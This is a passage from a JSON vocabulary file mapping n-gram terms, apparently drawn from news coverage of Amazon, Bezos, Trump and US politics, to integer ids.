\"allege potential\": 195230,\n  \"infertility\": 195231,\n  \"effectively prevent\": 195232,\n  \"pullback\": 195233,\n  \"obtained bezos\": 195234,\n  \"headline\": 195235,\n  \"vendor managers\": 195236,\n  \"exploration boom\": 195237,\n  \"amazon classic\": 195238,\n  \"increased possibilities\": 195239,\n  \"protect saudi\": 195240,\n  \"editorial writing\": 195241,\n  \"traditional car\": 195242,\n  \"oil prices\": 195243,\n  \"researched\": 195244,\n  \"multiple suits\": 195245,\n  \"running unopposed\": 195246,\n  \"couch\": 195247,\n  \"available funding\": 195248,\n  \"billionaire sports\": 195249,\n  \"storefronts landing\": 195250,\n  \"related woes\": 195251,\n  \"stoppelman\": 195252,\n  \"definers\": 195253,\n  \"election later\": 195254,\n  \"national priorities\": 195255,\n  \"hallquist\": 195256,\n  \"cup action\": 195257,\n  \"usa packs\": 195258,\n  \"senate crowley\": 195259,\n  \"bbc ebay\": 195260,\n  \"costume institute\": 195261,\n  \"tariffs uu\": 195262,\n  \"schedule shifts\": 195263,\n  \"new nominee\": 195264,\n  \"iwas\": 195265,\n  \"freq compidx\": 195266,\n  \"people weren\": 195267,\n  \"self determination\": 195268,\n  \"memoir educated\": 195269,\n  \"caijing reported\": 195270,\n  \"segment amazon\": 195271,\n  \"healthy way\": 195272,\n  \"4chan moderator\": 195273,\n  \"alessandra says\": 195274,\n  \"sound investment\": 195275,\n  \"racism rep\": 195276,\n  \"comcast rival\": 195277,\n  \"means bigger\": 195278,\n  \"free montessori\": 195279,\n  \"significant force\": 195280,\n  \"including things\": 195281,\n  \"pubgmhbd\": 195282,\n  \"crony relationships\": 195283,\n  \"carefully remove\": 195284,\n  \"tariff mnuchin\": 195285,\n  \"touted efforts\": 195286,\n  \"reigned\": 195287,\n  \"cronk adds\": 195288,\n  \"privileged lives\": 195289,\n  \"lately bezos\": 195290,\n  \"nomination rounds\": 195291,\n  \"company competing\": 195292,\n  \"update remarks\": 195293,\n  \"prior week\": 195294,\n  \"maxwell tani\": 195295,\n  \"don start\": 195296,\n  \"divided prime\": 195297,\n  \"defenses erected\": 195298,\n  \"sue herera\": 195299,\n  \"connecting trump\": 195300,\n  \"voters blame\": 195301,\n  \"rep jim\": 195302,\n  \"dheeraj\": 195303,\n  \"lang en\": 195304,\n  \"service prime\": 195305,\n  \"low quality\": 195306,\n  \"yay democrat\": 195307,\n  \"european indices\": 195308,\n  \"tom cruise\": 195309,\n  \"linked lawyer\": 195310,\n  \"trump afp\": 195311,\n  \"based entirely\": 195312,\n  \"orientation\": 195313,\n  \"repair parties\": 195314,\n  \"treasure trove\": 195315,\n  \"daily email\": 195316,\n  \"repels\": 195317,\n  \"liberia\": 195318,\n  \"discover new\": 195319,\n  \"headline new\": 195320,\n  \"acquire reo\": 195321,\n  \"story robinhood\": 195322,\n  \"photos film\": 195323,\n  \"prefund\": 195324,\n  \"predates\": 195325,\n  \"_items\": 195326,\n  \"change depending\": 195327,\n  \"services profitability\": 195328,\n  \"beyonce\": 195329,\n  \"fielded similar\": 195330,\n  \"fictionalized\": 195331,\n  \"cesar moreira\": 195332,\n  \"make restrooms\": 195333,\n  \"stomach\": 195334,\n  \"including paths\": 195335,\n  \"child migrant\": 195336,\n  \"factor driving\": 195337,\n  \"wto\": 195338,\n  \"binary sex\": 195339,\n  \"attacks pit\": 195340,\n  \"large market\": 195341,\n  \"omers ventures\": 195342,\n  \"specializing\": 195343,\n  \"better holiday\": 195344,\n  \"youtube channel\": 195345,\n  \"story photo\": 195346,\n  \"considered ban\": 195347,\n  \"coffers freer\": 195348,\n  \"start speaking\": 195349,\n  \"won deter\": 195350,\n  \"glands\": 195351,\n  \"muhlissa_ann\": 195352,\n  \"actually declared\": 195353,\n  \"times counter\": 195354,\n  \"sourcewikipedia\": 195355,\n  \"oz status\": 195356,\n  \"summarily\": 195357,\n  \"guthrie allison\": 195358,\n  \"m8i g7a\": 195359,\n  \"fellowship sponsor\": 195360,\n  \"stifling conservative\": 195361,\n  \"juliehirschfeld davis\": 195362,\n  \"distinguishes\": 195363,\n  \"installation ceremony\": 195364,\n  \"union\": 195365,\n  \"attempted sabotage\": 195366,\n  \"unprecedented domestic\": 195367,\n  \"220 million\": 195368,\n  \"main exception\": 195369,\n  \"unions progressive\": 195370,\n  \"wildfires 2018\": 195371,\n  \"german author\": 195372,\n  \"extreme case\": 195373,\n  \"partnerships internationally\": 195374,\n  \"fierce\": 195375,\n  \"commemorative coins\": 195376,\n  \"health planning\": 195377,\n  \"general information\": 195378,\n  \"report garofalo\": 195379,\n  \"forbes magazine\": 195380,\n  \"track record\": 195381,\n  \"robotics technology\": 195382,\n  \"laugh liberally\": 195383,\n  \"banks opening\": 195384,\n  \"vendors wholesale\": 195385,\n  \"amazon fortune\": 195386,\n  \"california new\": 195387,\n  \"walking dancing\": 195388,\n  \"authority direction\": 195389,\n  \"boxer\": 195390,\n  \"easily secure\": 195391,\n  \"billion package\": 195392,\n  \"bt9ywxg10s\": 195393,\n  \"phillip fearnside\": 195394,\n  \"amazon bureaucracy\": 195395,\n  \"companies report\": 195396,\n  \"lobbed\": 195397,\n  \"citing trump\": 195398,\n  \"gov costa\": 195399,\n  \"dignity seeking\": 195400,\n  \"seeking permission\": 195401,\n  \"list chart\": 195402,\n  \"delivers forceful\": 195403,\n  \"possible emoluments\": 195404,\n  \"paying wages\": 195405,\n  \"ihob\": 195406,\n  \"outdated platforms\": 195407,\n  \"reconsidering governor\": 195408,\n  \"business software\": 195409,\n  \"ground stations\": 195410,\n  \"drink travel\": 195411,\n  \"temer\": 195412,\n  \"intertwined company\": 195413,\n  \"commission decision\": 195414,\n  \"ing\": 195415,\n  \"greatest intellectual\": 195416,\n  \"credit reporter\": 195417,\n  \"cherry\": 195418,\n  \"jobs really\": 195419,\n  \"chasing commerce\": 195420,\n  \"amendments designed\": 195421,\n  \"buluo group\": 195422,\n  \"factory jobs\": 195423,\n  \"amtrak\": 195424,\n  \"shutdown limiting\": 195425,\n  \"handsome dividend\": 195426,\n  \"authentication requirements\": 195427,\n  \"dalai lama\": 195428,\n  \"exploratory committee\": 195429,\n  \"battle lines\": 195430,\n  \"influence election\": 195431,\n  \"terrifying example\": 195432,\n  \"recounts little\": 195433,\n  \"earning teaching\": 195434,\n  \"chapter john\": 195435,\n  \"shuttered\": 195436,\n  \"women rights\": 195437,\n  \"physicians\": 195438,\n  \"archive netflix\": 195439,\n  \"dramatic dramatic\": 195440,\n  \"ehudgins\": 195441,\n  \"containerid cnn\": 195442,\n  \"marshall abortion\": 195443,\n  \"marijuana human\": 195444,\n  \"merely uplifting\": 195445,\n  \"new filing\": 195446,\n  \"later review\": 195447,\n  \"deal says\": 195448,\n  \"trump dismissing\": 195449,\n  \"ryan offers\": 195450,\n  \"day investigator\": 195451,\n  \"missing loved\": 195452,\n  \"despite counsel\": 195453,\n  \"borders trump\": 195454,\n  \"search engines\": 195455,\n  \"invoking\": 195456,\n  \"direct contact\": 195457,\n  \"total addressable\": 195458,\n  \"version encoding\": 195459,\n  \"windfall\": 195460,\n  \"kelman ceo\": 195461,\n  \"widely used\": 195462,\n  \"important world\": 195463,\n  \"cross marketing\": 195464,\n  \"o4e\": 195465,\n  \"television license\": 195466,\n  \"christmasiscoming european\": 195467,\n  \"illegal tax\": 195468,\n  \"chan wook\": 195469,\n  \"cabinet withdrawing\": 195470,\n  \"281\": 195471,\n  \"state capture\": 195472,\n  \"staging protests\": 195473,\n  \"nasdaq cost\": 195474,\n  \"latest tariff\": 195475,\n  \"aggressively policing\": 195476,\n  \"vietnamese\": 195477,\n  \"bike racks\": 195478,\n  \"leaders want\": 195479,\n  \"delectable\": 195480,\n  \"eu fine\": 195481,\n  \"tv james\": 195482,\n  \"haven felt\": 195483,\n  \"problems understanding\": 195484,\n  \"amazon avid\": 195485,\n  \"spat escalates\": 195486,\n  \"comfortably run\": 195487,\n  \"citizen furor\": 195488,\n  \"portugal\": 195489,\n  \"dubuque\": 195490,\n  \"gateway pundit\": 195491,\n  \"indictment 2018\": 195492,\n  \"millionaire\": 195493,\n  \"prestigious news\": 195494,\n  \"sec filing\": 195495,\n  \"struck blow\": 195496,\n  \"caused major\": 195497,\n  \"reuters representative\": 195498,\n  \"sonyliv\": 195499,\n  \"flattered\": 195500,\n  \"rest lead\": 195501,\n  \"kit\": 195502,\n  \"rhetoric calling\": 195503,\n  \"country king\": 195504,\n  \"soon start\": 195505,\n  \"direct arrangement\": 195506,\n  \"market shanghai\": 195507,\n  \"kroger\": 195508,\n  \"chelsea mich\": 195509,\n  \"amazon hold\": 195510,\n  \"estimated state\": 195511,\n  \"quell\": 195512,\n  \"pentagon plan\": 195513,\n  \"iduskcn1ly16z feedtype\": 195514,\n  \"opponent\": 195515,\n  \"rail\": 195516,\n  \"king yeah\": 195517,\n  \"news\": 195518,\n  \"davidklion\": 195519,\n  \"chattanooga\": 195520,\n  \"box store\": 195521,\n  \"pdf support\": 195522,\n  \"finally passing\": 195523,\n  \"uk fulfillment\": 195524,\n  \"various professional\": 195525,\n  \"offers health\": 195526,\n  \"time anonymous\": 195527,\n  \"acto\": 195528,\n  \"reid hoffman\": 195529,\n  \"rick mills\": 195530,\n  \"fewer related\": 195531,\n  \"paying internet\": 195532,\n  \"reborn\": 195533,\n  \"saudi elites\": 195534,\n  \"poverty pardons\": 195535,\n  \"grace\": 195536,\n  \"powerful new\": 195537,\n  \"china steals\": 195538,\n  \"huguen trump\": 195539,\n  \"recommends\": 195540,\n  \"inherited fortune\": 195541,\n  \"estate trends\": 195542,\n  \"kass\": 195543,\n  \"amaon\": 195544,\n  \"term wisconsin\": 195545,\n  \"redmi k20\": 195546,\n  \"permanent bipartisan\": 195547,\n  \"javier bardem\": 195548,\n  \"rival firms\": 195549,\n  \"cuisine\": 195550,\n  \"arthur schwartz\": 195551,\n  \"statuscolor targettype\": 195552,\n  \"articles mexico\": 195553,\n  \"fraught\": 195554,\n  \"blimp snopes\": 195555,\n  \"low usps\": 195556,\n  \"market won\": 195557,\n  \"delivery photographer\": 195558,\n  \"greatest test\": 195559,\n  \"arbitrarily\": 195560,\n  \"make distinction\": 195561,\n  \"pretty hands\": 195562,\n  \"schedule\": 195563,\n  \"potentially impeachment\": 195564,\n  \"plans match\": 195565,\n  \"women constance\": 195566,\n  \"effectively allowing\": 195567,\n  \"multiple markets\": 195568,\n  \"greater irony\": 195569,\n  \"san anselmo\": 195570,\n  \"american postal\": 195571,\n  \"taxpaying americans\": 195572,\n  \"minimal\": 195573,\n  \"euro led\": 195574,\n  \"nondominant\": 195575,\n  \"dollar economy\": 195576,\n  \"power cloud\": 195577,\n  \"transportation stations\": 195578,\n  \"including recruiters\": 195579,\n  \"politics today\": 195580,\n  \"horn consists\": 195581,\n  \"promulgate new\": 195582,\n  \"entire net\": 195583,\n  \"facebook permitted\": 195584,\n  \"videoplayer cnnvideoapi\": 195585,\n  \"federal reimbursement\": 195586,\n  \"stigma\": 195587,\n  \"care law\": 195588,\n  \"foe amazon\": 195589,\n  \"silencing\": 195590,\n  \"natural pet\": 195591,\n  \"faces murder\": 195592,\n  \"farmers ranchers\": 195593,\n  \"began training\": 195594,\n  \"claims bezos\": 195595,\n  \"mckinnon washington\": 195596,\n  \"center frontier\": 195597,\n  \"denied\": 195598,\n  \"west apple\": 195599,\n  \"franco ordo\\u00f1ez\": 195600,\n  \"service avoids\": 195601,\n  \"impact el\": 195602,\n  \"position earlier\": 195603,\n  \"service saying\": 195604,\n  \"cited gains\": 195605,\n  \"little green\": 195606,\n  \"achieve\": 195607,\n  \"metapack mailing\": 195608,\n  \"today eye\": 195609,\n  \"2019 shipping\": 195610,\n  \"bezos look\": 195611,\n  \"signuppage utm_content\": 195612,\n  \"motivates\": 195613,\n  \"growing neighborhoods\": 195614,\n  \"premarket activity\": 195615,\n  \"monthly breakdown\": 195616,\n  \"fun filled\": 195617,\n  \"ikea\": 195618,\n  \"credit\": 195619,\n  \"databases\": 195620,\n  \"9550\": 195621,\n  \"feld llp\": 195622,\n  \"stephanie clifford\": 195623,\n  \"new introduction\": 195624,\n  \"edge technology\": 195625,\n  \"bid brian\": 195626,\n  \"constantly\": 195627,\n  \"ofthe\": 195628,\n  \"public spat\": 195629,\n  \"simply components\": 195630,\n  \"clear value\": 195631,\n  \"rocky summer\": 195632,\n  \"10bil rm40\": 195633,\n  \"manage taxes\": 195634,\n  \"tried seeking\": 195635,\n  \"vastly different\": 195636,\n  \"currency amazon\": 195637,\n  \"donations govpredict\": 195638,\n  \"better leverages\": 195639,\n  \"assault growing\": 195640,\n  \"longshot\": 195641,\n  \"enforces\": 195642,\n  \"trump lines\": 195643,\n  \"level discussion\": 195644,\n  \"split evenly\": 195645,\n  \"revealed final\": 195646,\n  \"pac focused\": 195647,\n  \"avoid prosecution\": 195648,\n  \"peasant families\": 195649,\n  \"financial byline\": 195650,\n  \"public just\": 195651,\n  \"check rauner\": 195652,\n  \"despite multiple\": 195653,\n  \"herman\": 195654,\n  \"services using\": 195655,\n  \"start trading\": 195656,\n  \"religious supporters\": 195657,\n  \"collusion smoking\": 195658,\n  \"fisman\": 195659,\n  \"ethnicities\": 195660,\n  \"f4 o2x\": 195661,\n  \"markets leave\": 195662,\n  \"flush days\": 195663,\n  \"amazon double\": 195664,\n  \"samsung previously\": 195665,\n  \"quantitative analyst\": 195666,\n  \"amazon survived\": 195667,\n  \"reiterating\": 195668,\n  \"wood stated\": 195669,\n  \"lightfoot\": 195670,\n  \"warehouses rely\": 195671,\n  \"hats shirts\": 195672,\n  \"asked kudlow\": 195673,\n  \"cornell belcher\": 195674,\n  \"drugs chips\": 195675,\n  \"2019 buyer\": 195676,\n  \"political targeting\": 195677,\n  \"bezos railing\": 195678,\n  \"absolutely bartiromo\": 195679,\n  \"periods individuals\": 195680,\n  \"phil scott\": 195681,\n  \"elevens carell\": 195682,\n  \"rejoice\": 195683,\n  \"wealthier countries\": 195684,\n  \"stunning limited\": 195685,\n  \"kong\": 195686,\n  \"revenue estimate\": 195687,\n  \"craig setzer\": 195688,\n  \"giant head\": 195689,\n  \"similar programs\": 195690,\n  \"million focus\": 195691,\n  \"cleanroom portfolio\": 195692,\n  \"repeat customers\": 195693,\n  \"small tariffs\": 195694,\n  \"cult hits\": 195695,\n  \"hq2 include\": 195696,\n  \"tub\": 195697,\n  \"discernible harm\": 195698,\n  \"sen amazon\": 195699,\n  \"discourse rye\": 195700,\n  \"francis ends\": 195701,\n  \"profitable corporation\": 195702,\n  \"attends trump\": 195703,\n  \"kennebunkport maine\": 195704,\n  \"machinations\": 195705,\n  \"131 billion\": 195706,\n  \"week response\": 195707,\n  \"umi\": 195708,\n  \"severe housing\": 195709,\n  \"filmmaking leaving\": 195710,\n  \"voted overwhelmingly\": 195711,\n  \"2018 elections\": 195712,\n  \"housewares\": 195713,\n  \"indian jamaican\": 195714,\n  \"significant boost\": 195715,\n  \"yes pete\": 195716,\n  \"sexual liberation\": 195717,\n  \"menlo park\": 195718,\n  \"circular basis\": 195719,\n  \"flying fish\": 195720,\n  \"extraordinary strategic\": 195721,\n  \"make acquisitions\": 195722,\n  \"war looms\": 195723,\n  \"foremost loyal\": 195724,\n  \"wealthy suburbs\": 195725,\n  \"wpl1cux1dn pic\": 195726,\n  \"immigrants according\": 195727,\n  \"usps rate\": 195728,\n  \"usually stays\": 195729,\n  \"owns washington\": 195730,\n  \"evaluating\": 195731,\n  \"mcdowell\": 195732,\n  \"trump falsely\": 195733,\n  \"boyarde\": 195734,\n  \"president reggie\": 195735,\n  \"bipartisan ceos\": 195736,\n  \"industrial data\": 195737,\n  \"remarked\": 195738,\n  \"minutes away\": 195739,\n  \"president angry\": 195740,\n  \"book fear\": 195741,\n  \"hand laid\": 195742,\n  \"eventually signed\": 195743,\n  \"discredited\": 195744,\n  \"mbs\": 195745,\n  \"warned explicitly\": 195746,\n  \"fiddler\": 195747,\n  \"pursue greater\": 195748,\n  \"radically changed\": 195749,\n  \"vz benzinga\": 195750,\n  \"promises likewise\": 195751,\n  \"plant compare\": 195752,\n  \"500 poised\": 195753,\n  \"willcontinue\": 195754,\n  \"family comedians\": 195755,\n  \"million apple\": 195756,\n  \"rhetoric hasn\": 195757,\n  \"yesterday look\": 195758,\n  \"consistently badmouthed\": 195759,\n  \"customers set\": 195760,\n  \"track smart\": 195761,\n  \"chic\": 195762,\n  \"create huge\": 195763,\n  \"acquired instagram\": 195764,\n  \"pillaging\": 195765,\n  \"tilted somewhat\": 195766,\n  \"prescription benefit\": 195767,\n  \"martial\": 195768,\n  \"government rbc\": 195769,\n  \"major foreign\": 195770,\n  \"rae insecure\": 195771,\n  \"entitle\": 195772,\n  \"ap file\": 195773,\n  \"actively associating\": 195774,\n  \"contradict biased\": 195775,\n  \"self defeating\": 195776,\n  \"companies leading\": 195777,\n  \"enforcement cnbc\": 195778,\n  \"tighten monetary\": 195779,\n  \"say proving\": 195780,\n  \"legislature governor\": 195781,\n  \"times amazon\": 195782,\n  \"comprehensive medical\": 195783,\n  \"dorsey signed\": 195784,\n  \"demand content\": 195785,\n  \"entrepreneurial capitalism\": 195786,\n  \"bend\": 195787,\n  \"depth examination\": 195788,\n  \"influence amazon\": 195789,\n  \"geography iq\": 195790,\n  \"closest traditional\": 195791,\n  \"highly vocal\": 195792,\n  \"intervention mijente\": 195793,\n  \"2019 saying\": 195794,\n  \"offering people\": 195795,\n  \"justice delayed\": 195796,\n  \"penn\": 195797,\n  \"demarcate\": 195798,\n  \"organic growth\": 195799,\n  \"mismanaged\": 195800,\n  \"jay powell\": 195801,\n  \"dislike\": 195802,\n  \"conclusion tl\": 195803,\n  \"species sacrifice\": 195804,\n  \"applicant\": 195805,\n  \"totalshtrump 300dpi\": 195806,\n  \"hq2 hq2\": 195807,\n  \"security importance\": 195808,\n  \"alright governor\": 195809,\n  \"kudlow bobbed\": 195810,\n  \"geraldo\": 195811,\n  \"getting goods\": 195812,\n  \"zeile\": 195813,\n  \"official store\": 195814,\n  \"home installation\": 195815,\n  \"known locally\": 195816,\n  \"rebecca jarvis\": 195817,\n  \"congress scarborough\": 195818,\n  \"claim amazon\": 195819,\n  \"great details\": 195820,\n  \"yudhoyono oct\": 195821,\n  \"distinguish counterfeits\": 195822,\n  \"1999 settlement\": 195823,\n  \"764 shares\": 195824,\n  \"scorers\": 195825,\n  \"000 google\": 195826,\n  \"0001\": 195827,\n  \"canadian pride\": 195828,\n  \"related bezos\": 195829,\n  \"deny\": 195830,\n  \"fantasy watch\": 195831,\n  \"samsung 128gb\": 195832,\n  \"online chat\": 195833,\n  \"added privately\": 195834,\n  \"place affect\": 195835,\n  \"painstaking\": 195836,\n  \"adrianne palicki\": 195837,\n  \"ousted chairman\": 195838,\n  \"office maybe\": 195839,\n  \"dollar divorce\": 195840,\n  \"leaked texts\": 195841,\n  \"american journos\": 195842,\n  \"receive anthrax\": 195843,\n  \"relationship soured\": 195844,\n  \"evasion\": 195845,\n  \"coerce victims\": 195846,\n  \"receive nearly\": 195847,\n  \"included feature\": 195848,\n  \"resists\": 195849,\n  \"markle\": 195850,\n  \"haaland posted\": 195851,\n  \"counterfeit industry\": 195852,\n  \"wet dream\": 195853,\n  \"marielle\": 195854,\n  \"buying story\": 195855,\n  \"photo campaign\": 195856,\n  \"cio represents\": 195857,\n  \"avoiding paying\": 195858,\n  \"bluntly\": 195859,\n  \"calatrello cleveland\": 195860,\n  \"need 700\": 195861,\n  \"8221 actually\": 195862,\n  \"articles bezos\": 195863,\n  \"safest\": 195864,\n  \"fleet vehicles\": 195865,\n  \"recording artist\": 195866,\n  \"cheaper efficient\": 195867,\n  \"change facebook\": 195868,\n  \"airlines flying\": 195869,\n  \"issued\": 195870,\n  \"think theamerican\": 195871,\n  \"money congressman\": 195872,\n  \"bipartisan committee\": 195873,\n  \"eckhart\": 195874,\n  \"tiffani thiessen\": 195875,\n  \"buffett rethinks\": 195876,\n  \"blue room\": 195877,\n  \"accessibility services\": 195878,\n  \"zuckerberg says\": 195879,\n  \"things took\": 195880,\n  \"carlson copies\": 195881,\n  \"paragraph ip\": 195882,\n  \"ursula le\": 195883,\n  \"recognition powered\": 195884,\n  \"teachers wear\": 195885,\n  \"certificates afghan\": 195886,\n  \"ending juggernaut\": 195887,\n  \"renovation plans\": 195888,\n  \"shock\": 195889,\n  \"accounts treated\": 195890,\n  \"ken ken\": 195891,\n  \"exclusive black\": 195892,\n  \"reported recently\": 195893,\n  \"bike companies\": 195894,\n  \"behar\": 195895,\n  \"famously messy\": 195896,\n  \"redmond\": 195897,\n  \"talents markets\": 195898,\n  \"matters user\": 195899,\n  \"physique\": 195900,\n  \"minute shopping\": 195901,\n  \"tweets earlier\": 195902,\n  \"caravan special\": 195903,\n  \"religious liberty\": 195904,\n  \"effective protest\": 195905,\n  \"z\\u00e9lie\": 195906,\n  \"baron told\": 195907,\n  \"j8i g0\": 195908,\n  \"directive ordering\": 195909,\n  \"embarrassing information\": 195910,\n  \"monthly mortgage\": 195911,\n  \"mario kart\": 195912,\n  \"yalelawjournal\": 195913,\n  \"richer cringely\": 195914,\n  \"taylor\": 195915,\n  \"companies coming\": 195916,\n  \"salvo\": 195917,\n  \"nissan bitterness\": 195918,\n  \"pecker struck\": 195919,\n  \"unreasonable risks\": 195920,\n  \"oncapitol\": 195921,\n  \"stop talking\": 195922,\n  \"retailer 2018\": 195923,\n  \"house strategic\": 195924,\n  \"quantifying comcast\": 195925,\n  \"poor net\": 195926,\n  \"worth 630\": 195927,\n  \"warsaw\": 195928,\n  \"20great 20again\": 195929,\n  \"political violence\": 195930,\n  \"jobs despite\": 195931,\n  \"cisgender\": 195932,\n  \"volumes grew\": 195933,\n  \"senator wasn\": 195934,\n  \"company photo\": 195935,\n  \"congress lauren\": 195936,\n  \"k4a k8\": 195937,\n  \"highs\": 195938,\n  \"coincidentally\": 195939,\n  \"good acting\": 195940,\n  \"accounts quarles\": 195941,\n  \"candidate attorney\": 195942,\n  \"wapo reporter\": 195943,\n  \"democratic administration\": 195944,\n  \"told pogo\": 195945,\n  \"nyse utx\": 195946,\n  \"siblings\": 195947,\n  \"price grows\": 195948,\n  \"open houses\": 195949,\n  \"personage issues\": 195950,\n  \"sitcom revolves\": 195951,\n  \"new urus\": 195952,\n  \"fickling\": 195953,\n  \"harvard educated\": 195954,\n  \"zones conservative\": 195955,\n  \"short battery\": 195956,\n  \"prefer keeping\": 195957,\n  \"combination raises\": 195958,\n  \"2018 paid\": 195959,\n  \"grocery coverage\": 195960,\n  \"story sen\": 195961,\n  \"understanding boundaries\": 195962,\n  \"digitally created\": 195963,\n  \"minority status\": 195964,\n  \"minimum guaranteed\": 195965,\n  \"mccain\": 195966,\n  \"instantly visible\": 195967,\n  \"hit wide\": 195968,\n  \"script\": 195969,\n  \"organization businesses\": 195970,\n  \"usps welcomes\": 195971,\n  \"senate bills\": 195972,\n  \"transgender nonsense\": 195973,\n  \"graduate gis\": 195974,\n  \"way going\": 195975,\n  \"carbon emissions\": 195976,\n  \"nuclear\": 195977,\n  \"studies joins\": 195978,\n  \"prix\": 195979,\n  \"sure community\": 195980,\n  \"anticipated admission\": 195981,\n  \"sliding\": 195982,\n  \"ami elkan\": 195983,\n  \"damocles\": 195984,\n  \"parenting dear\": 195985,\n  \"standher ground\": 195986,\n  \"famously destroyed\": 195987,\n  \"nation soil\": 195988,\n  \"grows steadily\": 195989,\n  \"point hard\": 195990,\n  \"federal reorg\": 195991,\n  \"remain extremely\": 195992,\n  \"nominated novel\": 195993,\n  \"sector did\": 195994,\n  \"blindly\": 195995,\n  \"sole\": 195996,\n  \"incredibly ambiguous\": 195997,\n  \"local events\": 195998,\n  \"vegas casino\": 195999,\n  \"motor vehicles\": 196000,\n  \"sbd donnelly\": 196001,\n  \"company annual\": 196002,\n  \"upstart competitors\": 196003,\n  \"latin american\": 196004,\n  \"quadro\": 196005,\n  \"shocked stuart\": 196006,\n  \"version suddenly\": 196007,\n  \"resident\": 196008,\n  \"market attracts\": 196009,\n  \"unknowingly ordered\": 196010,\n  \"loving brother\": 196011,\n  \"running company\": 196012,\n  \"feeling depressed\": 196013,\n  \"traders clickhereto\": 196014,\n  \"partially reflect\": 196015,\n  \"foreign manipulation\": 196016,\n  \"splinter\": 196017,\n  \"email sign\": 196018,\n  \"state practice\": 196019,\n  \"past century\": 196020,\n  \"effective\": 196021,\n  \"neighborhood chopping\": 196022,\n  \"wwii grows\": 196023,\n  \"house norah\": 196024,\n  \"defeated amazon\": 196025,\n  \"descriptiontext danish\": 196026,\n  \"extortion bid\": 196027,\n  \"ultimate outcomes\": 196028,\n  \"huffpo coalition\": 196029,\n  \"virigina political\": 196030,\n  \"facebook denies\": 196031,\n  \"denies newsweek\": 196032,\n  \"government documents\": 196033,\n  \"wing progressive\": 196034,\n  \"golden child\": 196035,\n  \"jpg 336x336\": 196036,\n  \"increasingly bipartisan\": 196037,\n  \"term noting\": 196038,\n  \"tabak strategist\": 196039,\n  \"service starting\": 196040,\n  \"ideological opposite\": 196041,\n  \"conservative conspiracy\": 196042,\n  \"gawande frequently\": 196043,\n  \"states shrank\": 196044,\n  \"divestment\": 196045,\n  \"israel treatment\": 196046,\n  \"facebook travel\": 196047,\n  \"testing stocks\": 196048,\n  \"beautiful cities\": 196049,\n  \"dwindled\": 196050,\n  \"seen resurgence\": 196051,\n  \"trump books\": 196052,\n  \"democrat christine\": 196053,\n  \"bezos ceo\": 196054,\n  \"foreign small\": 196055,\n  \"vaccines philadelphia\": 196056,\n  \"great jobs\": 196057,\n  \"pres pence\": 196058,\n  \"central europe\": 196059,\n  \"say southeast\": 196060,\n  \"deliberate theft\": 196061,\n  \"madison tweeted\": 196062,\n  \"report concluded\": 196063,\n  \"doesn understand\": 196064,\n  \"phenomenon\": 196065,\n  \"infrastructure better\": 196066,\n  \"aws presentation\": 196067,\n  \"london julian\": 196068,\n  \"announcement state\": 196069,\n  \"150 containers\": 196070,\n  \"estate physical\": 196071,\n  \"expected later\": 196072,\n  \"people draw\": 196073,\n  \"patrick morrisey\": 196074,\n  \"digital pin\": 196075,\n  \"excluding farm\": 196076,\n  \"leeds\": 196077,\n  \"online pharmacy\": 196078,\n  \"tabloid headlines\": 196079,\n  \"anders bylund\": 196080,\n  \"jeremy sold\": 196081,\n  \"technology titans\": 196082,\n  \"order barring\": 196083,\n  \"frustrated millions\": 196084,\n  \"tote duffel\": 196085,\n  \"buying mvmt\": 196086,\n  \"abernathy\": 196087,\n  \"video column\": 196088,\n  \"public companies\": 196089,\n  \"barcott\": 196090,\n  \"including rene\": 196091,\n  \"post facebook\": 196092,\n  \"xel\": 196093,\n  \"tabloid press\": 196094,\n  \"test projects\": 196095,\n  \"graduating high\": 196096,\n  \"trump cleans\": 196097,\n  \"husband grave\": 196098,\n  \"artist according\": 196099,\n  \"650 shares\": 196100,\n  \"environmental obstacles\": 196101,\n  \"lake house\": 196102,\n  \"36m shares\": 196103,\n  \"torpedo\": 196104,\n  \"types amazon\": 196105,\n  \"tales disaster\": 196106,\n  \"cost cutting\": 196107,\n  \"closely republican\": 196108,\n  \"cognitive decline\": 196109,\n  \"scold\": 196110,\n  \"clients customers\": 196111,\n  \"prevention netflix\": 196112,\n  \"security security\": 196113,\n  \"security dhs\": 196114,\n  \"personal supply\": 196115,\n  \"alimony mackenzie\": 196116,\n  \"including payments\": 196117,\n  \"technology including\": 196118,\n  \"argentine coast\": 196119,\n  \"playing leading\": 196120,\n  \"787 orders\": 196121,\n  \"feasible\": 196122,\n  \"political tariff\": 196123,\n  \"truly interested\": 196124,\n  \"retarded\": 196125,\n  \"rights campaign\": 196126,\n  \"45m\": 196127,\n  \"council hostile\": 196128,\n  \"life liberty\": 196129,\n  \"width 650px\": 196130,\n  \"twitter ubhi\": 196131,\n  \"hate discussions\": 196132,\n  \"benefits suggest\": 196133,\n  \"industrial city\": 196134,\n  \"bezos tech\": 196135,\n  \"tariffs analysts\": 196136,\n  \"authorities confirmed\": 196137,\n  \"plums\": 196138,\n  \"1iq5vw0\": 196139,\n  \"c2x\": 196140,\n  \"instead hq2\": 196141,\n  \"tabak\": 196142,\n  \"hyped decision\": 196143,\n  \"motherboards\": 196144,\n  \"president denied\": 196145,\n  \"small switches\": 196146,\n  \"melting pot\": 196147,\n  \"trump weighing\": 196148,\n  \"hq2 government\": 196149,\n  \"friends partners\": 196150,\n  \"bozo seemingly\": 196151,\n  \"encouraged business\": 196152,\n  \"original priority\": 196153,\n  \"hermes dpd\": 196154,\n  \"scribd\": 196155,\n  \"crafting makeshift\": 196156,\n  \"city immigrant\": 196157,\n  \"war hero\": 196158,\n  \"nratv amazon\": 196159,\n  \"including roger\": 196160,\n  \"stake bloomberg\": 196161,\n  \"trump promises\": 196162,\n  \"just ran\": 196163,\n  \"thomson navigating\": 196164,\n  \"split today\": 196165,\n  \"asset george\": 196166,\n  \"netflix rashida\": 196167,\n  \"baltimore southeast\": 196168,\n  \"opposition california\": 196169,\n  \"pillpack majority\": 196170,\n  \"pastime hawked\": 196171,\n  \"pass bicycle\": 196172,\n  \"recent proposal\": 196173,\n  \"money upgrade\": 196174,\n  \"facing anti\": 196175,\n  \"leaders including\": 196176,\n  \"dyed\": 196177,\n  \"confident\": 196178,\n  \"did new\": 196179,\n  \"fannie\": 196180,\n  \"tano\": 196181,\n  \"huppke\": 196182,\n  \"mijente conmijente\": 196183,\n  \"corporate news\": 196184,\n  \"derechos\": 196185,\n  \"high technology\": 196186,\n  \"combined economic\": 196187,\n  \"todd vanderwerff\": 196188,\n  \"unsafe products\": 196189,\n  \"pe\\u00f1a\": 196190,\n  \"government regulatory\": 196191,\n  \"traditional letters\": 196192,\n  \"trade\": 196193,\n  \"discussed\": 196194,\n  \"makes lenses\": 196195,\n  \"alms\": 